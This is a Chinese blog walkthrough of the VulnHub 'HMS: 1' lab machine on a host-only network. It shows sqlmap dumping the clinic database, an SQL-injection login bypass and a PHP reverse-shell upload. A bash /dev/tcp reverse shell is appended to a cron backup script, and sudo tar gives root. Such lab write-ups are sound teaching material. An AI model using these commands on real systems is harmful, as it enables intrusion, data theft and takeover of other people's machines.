靶机渗透练习65-Hms？

最新推荐文章于 2023-12-29 15:57:11 发布
最新推荐文章于 2023-12-29 15:57:11 发布
阅读量720 收藏 3
点赞数 1
分类专栏： 靶机渗透练习 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Perpetual_Blue/article/details/124289547
版权

靶机描述

靶机地址：https://www.vulnhub.com/entry/hms-1,728/

Description

easy

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali：

IP地址：192.168.9.7

靶机：

IP地址：192.168.9.63

注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式）

该靶机环境搭建如下

  1. 将下载好的靶机环境，导入 VritualBox，设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l （指定网卡扫）

arp-scan -I eth0 -l

⬢  Hms  arp-scan -I eth0 -l              
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     08:00:27:21:a2:cb       PCS Systemtechnik GmbH
192.168.9.63    08:00:27:07:33:23       PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.976 seconds (129.55 hosts/sec). 2 responded
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充
2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  Hms  nmap -A -sV -T4 -p- 192.168.9.63
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-01 10:02 CST
Stats: 0:03:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.60% done; ETC: 10:05 (0:00:02 remaining)
Nmap scan report for bogon (192.168.9.63)
Host is up (0.00043s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.9.7
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3c:fc:ed:dc:9b:b3:24:ff:2e:c3:51:f8:33:20:78:40 (RSA)
|   256 91:5e:81:68:73:68:65:ec:a2:de:27:19:c6:82:86:a9 (ECDSA)
|_  256 a7:eb:f6:a2:c6:63:54:e1:f5:18:53:fc:c3:e1:b2:28 (ED25519)
7080/tcp open  http    Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)
|_http-server-header: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1
MAC Address: 08:00:27:07:33:23 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms bogon (192.168.9.63)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 242.48 seconds
⬢  Hms

21—ftp—vsftpd 3.0.3–Anonymous FTP login allowed (FTP code 230)

22–ssh—OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

7080—http—Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29

2.2枚举漏洞

2.2.1 21端口分析

根据扫描结果可知，ftp可通过anonymous 无密码登录

⬢  Hms  ftp 192.168.9.63
Connected to 192.168.9.63.
220 (vsFTPd 3.0.3)
Name (192.168.9.63:hirak0): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||29239|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> cd /home
550 Failed to change directory.
ftp>

啥也没有

2.2.2 7080 端口分析

访问：http://192.168.9.63:7080/

image-20220401101311368

是一个登录表单，先放一边

扫描一下目录:gobuster dir -u http://192.168.9.63:7080 -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

⬢  Hms  gobuster dir -u http://192.168.9.63:7080 -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.63:7080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,zip,bak,txt,php
[+] Timeout:                 10s
===============================================================
2022/04/01 10:37:44 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 14041] [--> login.php]
/login.php            (Status: 200) [Size: 4087]                 
/profile.php          (Status: 302) [Size: 13736] [--> login.php]
/files                (Status: 301) [Size: 239] [--> http://192.168.9.63:7080/files/]
/pages                (Status: 301) [Size: 239] [--> http://192.168.9.63:7080/pages/]
/header.php           (Status: 200) [Size: 4924]                                     
/signup.php           (Status: 200) [Size: 6514]                                     
/footer.php           (Status: 200) [Size: 1783]                                     
/test.php             (Status: 200) [Size: 6]                                        
/logout.php           (Status: 200) [Size: 48]                                       
/head.php             (Status: 200) [Size: 1741]                                     
/connect.php          (Status: 200) [Size: 1]                                        
/sidebar.php          (Status: 200) [Size: 2238]                                     
/forgot_password.php  (Status: 200) [Size: 5614]                                     
/department.php       (Status: 302) [Size: 13653] [--> login.php]                    
/medicine.php         (Status: 302) [Size: 13972] [--> login.php]                    
/doctor.php           (Status: 302) [Size: 16844] [--> login.php]                    
/phpmyadmin           (Status: 403) [Size: 1190]                                     
/treatment.php        (Status: 302) [Size: 13963] [--> login.php]                    
/setting.php          (Status: 302) [Size: 16372] [--> login.php]                    
/appointment.php      (Status: 302) [Size: 16267] [--> login.php]                    
/changepassword.php   (Status: 302) [Size: 13858] [--> login.php]                    
/patient.php          (Status: 302) [Size: 18076] [--> login.php]                    
                                                                                     
===============================================================
2022/04/01 10:43:26 Finished
===============================================================
⬢  Hms

访问：http://192.168.9.63:7080/files/

image-20220401104802343

访问：http://192.168.9.63:7080/pages/

image-20220401104810756

访问：http://192.168.9.63:7080/phpmyadmin

image-20220401104823896

并没有什么其他发现

2.3漏洞利用

2.3.1 SQL注入测试

尝试SQLmap一把梭一下

image-20220401105659373

执行命令sqlmap -r test.sql --batch --dbs

成功爆破出数据库

available databases [6]:
[*] clinic_db
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test

爆数据表sqlmap -r test.sql --batch -D clinic_db --tables

Database: clinic_db
[24 tables]
+----------------------+
| user                 |
| admin                |
| appointment          |
| billing              |
| billing_records      |
| department           |
| doctor               |
| doctor_timings       |
| manage_website       |
| medicine             |
| orders               |
| patient              |
| payment              |
| prescription         |
| prescription_records |
| room                 |
| service_type         |
| tbl_email_config     |
| tbl_permission       |
| tbl_permission_role  |
| tbl_role             |
| tbl_sms_config       |
| treatment            |
| treatment_records    |
+----------------------+

爆字段sqlmap -r test.sql --batch -D clinic_db -T admin --col

Database: clinic_db
Table: admin
[17 columns]
+---------------+---------------+
| Column        | Type          |
+---------------+---------------+
| addr          | varchar(500)  |
| created_on    | date          |
| delete_status | int(11)       |
| dob           | text          |
| fname         | varchar(50)   |
| gender        | varchar(500)  |
| id            | int(11)       |
| image         | varchar(2000) |
| last_login    | date          |
| lname         | varchar(500)  |
| loginid       | varchar(30)   |
| mobileno      | text          |
| notes         | varchar(200)  |
| password      | varchar(100)  |
| role_id       | int(11)       |
| updated_on    | date          |
| username      | varchar(500)  |
+---------------+---------------+

爆值

sqlmap -r test.sql --batch -D clinic_db -T admin -C username,loginid,password --dump

Database: clinic_db
Table: admin
[1 entry]
+----------+------------------------+---------------------------------------------------+
| username | loginid                | password                                           
+----------+------------------------+---------------------------------------------------+
| admin    | ndbhalerao91@gmail.com | aa7f019c326413d5b8bcad4314228bcd33ef557f5d81c7cc977f7728156f4357
+----------+------------------------+---------------------------------------------------+

拿到账户密码，不过密码应该是加密过的

试试手工注入看看能不能进入后台

image-20220401144856732

删掉 type 字段，

image-20220401145132521

成功登录进入后台

image-20220401145309979

进行信息收集，在http://192.168.9.63:7080/setting.php发现可以上传文件

image-20220401145623010

尝试上传webshell

但是不知道上传到哪里了

查看一下源码看看有没有路径啥的

image-20220401150056184

看到了上传路径

尝试访问：http://192.168.9.63:7080/uploadImage/Logo/php-reverse-shell.php

kali本地监听：nc -lvp 6666

⬢  Hms  nc -lvp 6666             
listening on [any] 6666 ...
Warning: forward host lookup failed for bogon: Host name lookup failure : Resource temporarily unavailable
connect to [192.168.9.7] from bogon [192.168.9.63] 38846
Linux nivek 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 12:32:08 up  2:33,  0 users,  load average: 0.00, 0.01, 0.19
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
sh: 0: can't access tty; job control turned off
$

成功拿到shell

使用 Python 切换至交互式shell：python -c 'import pty;pty.spawn("/bin/bash")'

$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
daemon@nivek:/$

2.4权限提升

2.4.1 信息收集

简单信息收集一波

daemon@nivek:/$ sudo -l
sudo -l
[sudo] password for daemon: 
Sorry, try again.
[sudo] password for daemon: 
Sorry, try again.
[sudo] password for daemon: 
sudo: 3 incorrect password attempts
daemon@nivek:/$ ls -al
ls -al
total 104
drwxr-xr-x  23 root root  4096 Apr  1 10:11 .
drwxr-xr-x  23 root root  4096 Apr  1 10:11 ..
drwxr-xr-x   2 root root  4096 Apr  1 10:07 bin
drwxr-xr-x   3 root root  4096 Apr  1 10:12 boot
-rw-------   1 root root     0 Jul 25  2021 core
drwxr-xr-x  19 root root  4220 Apr  1 11:48 dev
drwxr-xr-x 137 root root 12288 Apr  1 10:12 etc
drwxr-xr-x   4 root root  4096 Jul 26  2021 home
lrwxrwxrwx   1 root root    33 Apr  1 10:11 initrd.img -> boot/initrd.img-4.4.0-210-generic
lrwxrwxrwx   1 root root    32 Apr  1 10:11 initrd.img.old -> boot/initrd.img-4.4.0-21-generic
drwxr-xr-x  23 root root  4096 Jul 26  2021 lib
drwxr-xr-x   2 root root  4096 Jul 25  2021 lib64
drwx------   2 root root 16384 Jul 25  2021 lost+found
drwxr-xr-x   4 root root  4096 Jul 26  2021 media
drwxr-xr-x   2 root root  4096 Apr 21  2016 mnt
drwxr-xr-x   3 root root  4096 Jul 25  2021 opt
dr-xr-xr-x 144 root root     0 Apr  1 09:59 proc
drwx------  19 root root  4096 Jul 26  2021 root
drwxr-xr-x  27 root root  1080 Apr  1 10:13 run
drwxr-xr-x   2 root root 12288 Apr  1 10:07 sbin
drwxr-xr-x   2 root root  4096 Apr  1 10:09 snap
drwxr-xr-x   3 root root  4096 Jul 25  2021 srv
dr-xr-xr-x  13 root root     0 Apr  1 09:59 sys
drwxrwxrwt   8 root root  4096 Apr  1 12:35 tmp
drwxr-xr-x  10 root root  4096 Jul 26  2021 usr
drwxr-xr-x  16 root root  4096 Jul 25  2021 var
lrwxrwxrwx   1 root root    30 Apr  1 10:11 vmlinuz -> boot/vmlinuz-4.4.0-210-generic
lrwxrwxrwx   1 root root    29 Apr  1 10:11 vmlinuz.old -> boot/vmlinuz-4.4.0-21-generic
daemon@nivek:/$ cd /home
cd /home
daemon@nivek:/home$ ls -al
ls -al
total 16
drwxr-xr-x  4 root  root  4096 Jul 26  2021 .
drwxr-xr-x 23 root  root  4096 Apr  1 10:11 ..
drwx-----x  4 eren  eren  4096 Jul 26  2021 eren
drwxr-xr-x 16 nivek nivek 4096 Jul 26  2021 nivek
daemon@nivek:/home$ cd eren
cd eren
daemon@nivek:/home/eren$ ls -al
ls -al
ls: cannot open directory '.': Permission denied
daemon@nivek:/home/eren$ cd /home/nivek
cd /home/nivek
daemon@nivek:/home/nivek$ ls -al
ls -al
total 104
drwxr-xr-x 16 nivek nivek 4096 Jul 26  2021 .
drwxr-xr-x  4 root  root  4096 Jul 26  2021 ..
-rw-------  1 nivek nivek  425 Jul 26  2021 .bash_history
-rw-r--r--  1 nivek nivek  220 Jul 25  2021 .bash_logout
-rw-r--r--  1 nivek nivek 3771 Jul 25  2021 .bashrc
drwx------ 13 nivek nivek 4096 Jul 26  2021 .cache
drwx------ 14 nivek nivek 4096 Jul 26  2021 .config
drwxr-xr-x  2 nivek nivek 4096 Jul 26  2021 Desktop
-rw-r--r--  1 nivek nivek   25 Jul 25  2021 .dmrc
drwxr-xr-x  2 nivek nivek 4096 Jul 26  2021 Documents
drwxr-xr-x  2 nivek nivek 4096 Jul 26  2021 Downloads
drwx------  2 nivek nivek 4096 Jul 26  2021 .gconf
drwx------  3 nivek nivek 4096 Jul 26  2021 .gnupg
-rw-------  1 nivek nivek  942 Jul 26  2021 .ICEauthority
drwx------  3 nivek nivek 4096 Jul 26  2021 .local
-rw-r--r--  1 root  root    33 Jul 25  2021 local.txt
drwx------  5 nivek nivek 4096 Jul 26  2021 .mozilla
drwxr-xr-x  2 nivek nivek 4096 Jul 26  2021 Music
drwxr-xr-x  2 nivek nivek 4096 Jul 26  2021 Pictures
-rw-r--r--  1 nivek nivek  675 Jul 25  2021 .profile
drwxr-xr-x  2 nivek nivek 4096 Jul 26  2021 Public
-rw-r--r--  1 nivek nivek    0 Jul 25  2021 .sudo_as_admin_successful
drwxr-xr-x  2 nivek nivek 4096 Jul 26  2021 Templates
drwxr-xr-x  2 nivek nivek 4096 Jul 26  2021 Videos
-rw-------  1 nivek nivek   50 Jul 26  2021 .Xauthority
-rw-------  1 nivek nivek 1354 Jul 26  2021 .xsession-errors
-rw-------  1 nivek nivek 1788 Jul 26  2021 .xsession-errors.old

在 shell 中寻找 suid 程序：find / -perm -u=s -type f 2>/dev/null

daemon@nivek:/home/nivek$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/mount
/bin/fusermount
/bin/su
/bin/ping6
/bin/umount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/bash
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/opt/lampp/bin/suexec
daemon@nivek:/home/nivek$

在https://gtfobins.github.io查找到bash

image-20220401151129481

image-20220401151257181

daemon@nivek:/home/nivek$ /usr/bin/bash -p
/usr/bin/bash -p
bash-4.3$ id
id
uid=1(daemon) gid=1(daemon) euid=1002(eren) groups=1(daemon)
bash-4.3$ whoami
whoami
eren
bash-4.3$

成功切换至eren用户

bash-4.3$ sudo -l
sudo -l
[sudo] password for daemon: 
Sorry, try again.
[sudo] password for daemon: 
Sorry, try again.
[sudo] password for daemon: 
sudo: 3 incorrect password attempts

没法搞，继续查看相关文件，看一下有没有可以利用的

bash-4.3$ cd /home/eren
cd /home/eren
bash-4.3$ ls -al
ls -al
total 40
drwx-----x 4 eren eren   4096 Jul 26  2021 .
drwxr-xr-x 4 root root   4096 Jul 26  2021 ..
drwxr-xr-x 2 eren eren   4096 Jul 26  2021 backups
-rwxr-xr-x 1 eren daemon   95 Jul 26  2021 backup.sh
-rw------- 1 eren eren      1 Jul 26  2021 .bash_history
-rw-r--r-- 1 eren eren    220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 eren eren   3786 Jul 26  2021 .bashrc
drwxrwxr-x 2 eren eren   4096 Jul 26  2021 .nano
-rw-r--r-- 1 eren eren    675 Sep  1  2015 .profile
-rw-rw-r-- 1 eren eren     66 Jul 26  2021 .selected_editor
bash-4.3$ cd backups
cd backups
bash-4.3$ ls -al
ls -al
total 12
drwxr-xr-x 2 eren eren 4096 Jul 26  2021 .
drwx-----x 4 eren eren 4096 Jul 26  2021 ..
-rw-rw-r-- 1 eren eren 3400 Apr  1 12:45 backup.tar.gz
bash-4.3$ cd ..
cd ..
bash-4.3$ cat backup.sh
cat backup.sh
#!/bin/bash
BACKUP_DIR="/home/eren/backups"
tar -zcvpf $BACKUP_DIR/backup.tar.gz /var/www/html
bash-4.3$ cat .bash_history
cat .bash_history

bash-4.3$

看到这个备份脚本，可能跟定时任务有关

咱们查看一下定时任务文件

bash-4.3$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5 * * * * eren /home/eren/backup.sh
bash-4.3$

发现每隔五分钟运行一次backup.sh

咱们可以通过在 /home/eren/backup.sh 中写入 shell进行提权

echo "bash -i >& /dev/tcp/192.168.9.7/6666 0>&1" >> backup.sh

bash-4.3$ ls
ls
backups  backup.sh
bash-4.3$ echo "bash -i >& /dev/tcp/192.168.9.7/6666 0>&1" >> backup.sh
echo "bash -i >& /dev/tcp/192.168.9.7/6666 0>&1" >> backup.sh
bash-4.3$ cat backup.sh
cat backup.sh
#!/bin/bash
BACKUP_DIR="/home/eren/backups"
tar -zcvpf $BACKUP_DIR/backup.tar.gz /var/www/html
bash -i >& /dev/tcp/192.168.9.7/6666 0>&1
bash-4.3$

kali本地监听一下nc -lvp 6666

⬢  Hms  nc -lvp 6666
listening on [any] 6666 ...
Warning: forward host lookup failed for bogon: Host name lookup failure : Resource temporarily unavailable
connect to [192.168.9.7] from bogon [192.168.9.63] 38848
bash: cannot set terminal process group (20361): Inappropriate ioctl for device
bash: no job control in this shell
eren@nivek:~$ id
id
uid=1002(eren) gid=1003(eren) groups=1003(eren)
eren@nivek:~$ sudo -l
sudo -l
Matching Defaults entries for eren on nivek:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User eren may run the following commands on nivek:
    (root) NOPASSWD: /bin/tar
eren@nivek:~$

发现可以用root权限运行/bin/tar

去https://gtfobins.github.io查找一下

image-20220401152353675

运行该命令

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

eren@nivek:~$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
</dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh         
tar: Removing leading `/' from member names
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
Desktop
Documents
Downloads
Music
Pictures
Public
root.txt
Templates
Videos
cat root.txt
299c10117c1940f21b70a391ca125c5d

成功提权，并拿到flag

总结

本靶机通过SQL注入登录后台，找到文件上传点，上传反弹shell拿到shell，通过/usr/bin/bash切换用户，然后通过在 /home/eren/backup.sh 中写入 shell，最后通过tar提权

  1. 主机发现
  2. 信息收集
  3. 目录扫描—gobuster
  4. SQLmap一把梭
  5. sql手工注入进入后台
  6. 文件上传漏洞
  7. sudo提权—tar提权
hirak0
关注
专栏目录
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
Vulnhub 靶场 HMS: 1
小小猪的博客
09-08 451
查看定时任务，发现一个5分钟的脚本。查看页面源码，发现文件存储目录。python半交互模式。提权成功，查看到flag。sql万能密码登录成功。
HMS1靶机wp
m0_52496313的博客
09-02 334
HMS1靶机wp
【解决办法】nc forward host lookup failed: h_errno 11001: HOST_NOT_FOUND
Vincent_zhang1949的博客
05-30 1717
windows下使用nc报错 forward host lookup failed
linux下nc提交web报文问题
weixin_34254823的博客
02-24 279
1、用wireshark截取访问百度首页拿到的请求数据包: GET /index.php?tn=newbdie_bd_dg&bar=1012 HTTP/1.1 Host: www.baidu.com Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q...
[Linux] 远程 SSH 两级跳转用户sodu的问题--sudo: no tty present and no askpass program specified
csdn's blog
06-19 1万+
业务场景描述： 我有100多组mysql db服务器，那么其中10台我需要建一个mysql用户下的文件，如果按照正常流程来看，我需要在跳转控制机dbcrol上面 ssh 到mysql 服务器上面，但是sudo进去的可不是mysql帐号，而是一个novaadmin帐号，我还需要执行sudo su - mysql命令跳转进入mysql用户模式下，才能执行mkdir -p /mysqlog/slow...
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
Vulnhub靶机渗透测试 DC-9靶机
12-07
Vulnhub靶机渗透测试 DC-9靶机
Vulnhub靶机渗透测试 Five-1靶机
12-07
Vulnhub靶机渗透测试 Five-1靶机
MySQL 8.0.19支持输入3次错误密码锁定账户功能(例子)
12-15
MySQL 8.0.19支持输入3次错误密码，锁定账户功能 例子： >CREATE USER 'hechunyang'@'localhost' IDENTIFIED BY '123456' FAILED_LOGIN_ATTEMPTS 3 PASSWORD_LOCK_TIME 3; FAILED_LOGIN_ATTEMPTS：代表尝试失败的次数 PASSWORD_LOCK_TIME：代表锁定的时间，单位天，这里为锁定3天。                                           如果设置UNBOUNDED，代表锁定永久，直到手工解锁。 故意输错3次以上密码，账户被锁
HMS_1811_gsd_HMS1811_PCON系列_IAI电缸gsd文件_
09-30
IAI电缸的profibus GSD文件，属于PCON系列。
HMS:医院管理系统
03-11
HMS:医院管理系统
linux输入密码后提示密码错误,用sudo命令没有提示输入密码，而是出现sudo:3次错误密码尝试的解决...
热门推荐
weixin_28936649的博客
04-29 1万+
比如在Deepin系统中输入sudo apt update、sudo ls等命令，这时并没有提示输入密码，而是出现了对不起，请重试，然后会出现sudo: 3次错误密码尝试。即它是直接提示失败的，而且连着失败3次，已排除是回车键粘连的可能，因为经过了打开文档编辑器测试，并没有按键粘连问题。原因和解决方案1、可以试试以下方案：echo "your password" | sudo -S xxxxxxx...
SQL注入总结
weixin_50139963的博客
04-28 100
一：什么是SQL注入？ SQL注入是一种通过将SQL代码添加到输入参数中，传递到SQL服务器解析并执行的一种攻击手法。 二：SQL注入是怎么产生的？ 首先WEB开发人员无法保证所有的输入都已经过滤，或者是数据库没有做相应的安全配置，客户端的数据未做处理或转义直接带入数据库，攻击者就利用发送给SQL服务器的输入数据构造可执行的SQL代码就造成了SQL注入，也就是用户提交了特定的字符导致SQL语句没有按照管理员设定的方式方法执行。 例如：这个查询，需要获取用户输入的姓名与密码 --正常情况下用..
HMS SQL注入(CVE-2022-25491)
最新发布
m0_65150886的博客
12-29 704
2022年3月15日，CVE收录了编号CVE-2022-25491漏洞，该漏洞为在HMS v1.0版本中存在SQL注入漏洞，该漏洞允许攻击者通过手动调试appointment.php文件中的editid软件参数进行SQL注入攻击。目前厂商已发布升级补丁以修复漏洞，补丁获取链接：https://github.com/kabirkhyrul/HMS/discussions/8。通过CVE官网了解得到，该漏洞位置在appointment.php文件中的editid参数，这里发送Payload进行查看。
靶机渗透练习81-Momentum：2
hirak0的博客
04-24 1137
靶机描述 靶机地址：https://www.vulnhub.com/entry/momentum-2,702/ Description Difficulty : medium Keywords : curl, bash, code review This works better with VirtualBox rather than VMware 一、搭建靶机环境 攻击机Kali： IP地址：192.168.9.7 靶机： IP地址：192.168.9.79 注：靶机与Kali的IP地址只
HW常见攻击方式 -- SQL注入漏洞
weixin_41489908的博客
03-19 1045
年轻的时候爱上什么都不为过，成熟了以后放弃什么都理解，我们终其一生，不过是想找一个能一起吃饭的人。。。 ---- 网易云热评 ​ 一、产生原因 代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。 二、常见挖掘方式 直接对url中的参数（请求参数、请求头）进行注入 Burp抓取post包进行注入 三、判断注入点 单引号判断：如果出现错误回显，则该页面就可能存在sql注入 http://www.webanquangongjuku.c...
Vulnhub靶机渗透环境搭建及JIS-CTF入门实践
Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例（一） 在这篇文章中，我们将学习如何搭建Vulnhub靶机渗透环境，并学习JIS-CTF入门知识，以及蚁剑提权示例。本文将详细讲解Vulnhub靶机渗透的环境搭建和JIS-...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hirak0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值